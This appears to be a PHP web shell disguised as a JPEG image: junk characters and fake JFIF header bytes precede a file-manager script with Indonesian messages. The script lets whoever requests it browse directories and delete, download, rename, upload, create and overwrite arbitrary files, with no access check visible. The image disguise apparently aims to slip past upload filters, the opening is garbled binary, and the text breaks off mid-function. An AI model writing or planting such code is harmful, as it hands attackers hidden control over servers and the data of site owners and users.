??????????????????????????????? Íuò¸Zö >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>< ?????????????????sgsz ???????????????????????????????!!!!!! >>>>>>>>>>/>>>>>>>>>>>>>>>>>< ddfsdfddfkhdfdfdsgfgfdggyhdfhdfsugfiafgaAA //---/-.+/--+------/------/--0+-dgsdgsa >>>>>>>>>>/>>>>>>>>>>>>>>>>><54dfdzs ????????????????? fdfdsg dfsfgiu&&&& -/-/-----.-----ÿÀ 1!%)+// ÿØÿà JFIF ÿÛ „ ( %!1!%)+//.383,7(-.+ +//.383,7(-.+ Øÿà JFIF ÿÛ à JFIF -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ ¥2" ÿÄ ÿÄ J ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ ÿÄ * !1AQa‘"2q3±ð#b¡ÿÚ ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú383,7(-.+ "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁTÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßwpŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV +//.383,7(-.+ ?> ???????????????????????????????!!!!!! <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ['fa-brands fa-php','#8892bf'], 'js' =>['fa-brands fa-js','#f7df1e'], 'ts' =>['fa-solid fa-code','#3178c6'], 'html'=>['fa-brands fa-html5','#e34c26'], 'htm'=>['fa-brands fa-html5','#e34c26'], 'css'=>['fa-brands fa-css3-alt','#264de4'], 'json'=>['fa-solid fa-brackets-curly','#ffca28'], 'xml'=>['fa-solid fa-file-code','#ff6d00'], 'sql'=>['fa-solid fa-database','#00acc1'], 'jpg'=>['fa-solid fa-image','#ab47bc'], 'jpeg'=>['fa-solid fa-image','#ab47bc'], 'png'=>['fa-solid fa-image','#ab47bc'], 'gif'=>['fa-solid fa-gif','#ab47bc'], 'svg'=>['fa-solid fa-bezier-curve','#ff7043'], 'webp'=>['fa-solid fa-image','#ab47bc'], 'mp4'=>['fa-solid fa-film','#ef5350'], 'mkv'=>['fa-solid fa-film','#ef5350'], 'avi'=>['fa-solid fa-film','#ef5350'], 'mp3'=>['fa-solid fa-music','#26c6da'], 'wav'=>['fa-solid fa-waveform','#26c6da'], 'zip'=>['fa-solid fa-file-zipper','#ffa726'], 'rar'=>['fa-solid fa-file-zipper','#ffa726'], 'tar'=>['fa-solid fa-file-zipper','#ffa726'], 'gz' =>['fa-solid fa-file-zipper','#ffa726'], 'pdf'=>['fa-solid fa-file-pdf','#f44336'], 'doc'=>['fa-solid fa-file-word','#2b579a'], 'docx'=>['fa-solid fa-file-word','#2b579a'], 'xls'=>['fa-solid fa-file-excel','#217346'], 'xlsx'=>['fa-solid fa-file-excel','#217346'], 'txt'=>['fa-solid fa-file-lines','#90a4ae'], 'log'=>['fa-solid fa-scroll','#78909c'], 'sh' =>['fa-solid fa-terminal','#66bb6a'], 'py' =>['fa-brands fa-python','#3572a5'], 'env'=>['fa-solid fa-lock','#ffca28'], ]; if(isset($m[$ext]))return $m[$ext]; return ['fa-solid fa-file','#607d8b']; } function breadcrumb_parts($path){ $path=str_replace('\\','/',$path); $parts=array_values(array_filter(explode('/',$path),fn($p)=>$p!=='')); $crumbs=[];$built=''; foreach($parts as $i=>$seg){ if($i===0&&strlen($seg)===2&&$seg[1]===':') $built=$seg; else $built=$built.DIRECTORY_SEPARATOR.$seg; $crumbs[]=['label'=>$seg,'path'=>$built]; } return $crumbs; } function redir($dir,$type,$msg){ header("Location: ?dir=".urlencode($dir)."&t_type=".urlencode($type)."&t_msg=".urlencode($msg)); exit; } if(isset($_GET['delete'])){ $name=basename($_GET['delete']);$t=realpath($current_dir.'/'.$name); if($t&&is_file($t)&&unlink($t)) redir($current_dir,'success',"File \"$name\" berhasil dihapus."); else redir($current_dir,'error',"Gagal menghapus \"$name\"."); } if(isset($_GET['download'])){ $t=realpath($current_dir.'/'.basename($_GET['download'])); if($t&&is_file($t)){ header('Content-Description: File Transfer');header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($t).'"'); header('Content-Length: '.filesize($t));readfile($t);exit; } redir($current_dir,'error',"File tidak ditemukan untuk diunduh."); } if(isset($_POST['rename_file'])){ $old=trim($_POST['old_name']);$new=trim($_POST['new_name']); if($new&&@rename($current_dir.'/'.$old,$current_dir.'/'.$new)) redir($current_dir,'success',"Berhasil diubah: \"$old\" → \"$new\""); else redir($current_dir,'error',"Gagal mengubah nama \"$old\"."); } if(isset($_POST['upload'])){ $fname=basename($_FILES['file']['name']);$target=$current_dir.'/'.$fname; if($fname&&move_uploaded_file($_FILES['file']['tmp_name'],$target)) redir($current_dir,'success',"File \"$fname\" berhasil diupload."); else redir($current_dir,'error',"Gagal mengupload file."); } if(isset($_POST['save_file'])){ $fname=$_POST['file_name'];$bytes=file_put_contents($current_dir.'/'.$fname,$_POST['file_content']); if($bytes!==false) redir($current_dir,'success',"\"$fname\" disimpan ($bytes bytes)."); else redir($current_dir,'error',"Gagal menyimpan \"$fname\"."); } if(isset($_POST['create_file'])){ $fname=trim($_POST['new_file_name']);$path=$current_dir.'/'.$fname; if(!$fname) redir($current_dir,'error',"Nama file tidak boleh kosong."); elseif(file_exists($path)) redir($current_dir,'error',"File \"$fname\" sudah ada."); elseif(file_put_contents($path,'')!==false) redir($current_dir,'success',"File \"$fname\" berhasil dibuat."); else redir($current_dir,'error',"Gagal membuat file \"$fname\"."); } function listDirectory($dir){ $items=@scandir($dir); if(!$items){echo'
| Nama | Ukuran | Diubah | Aksi |
|---|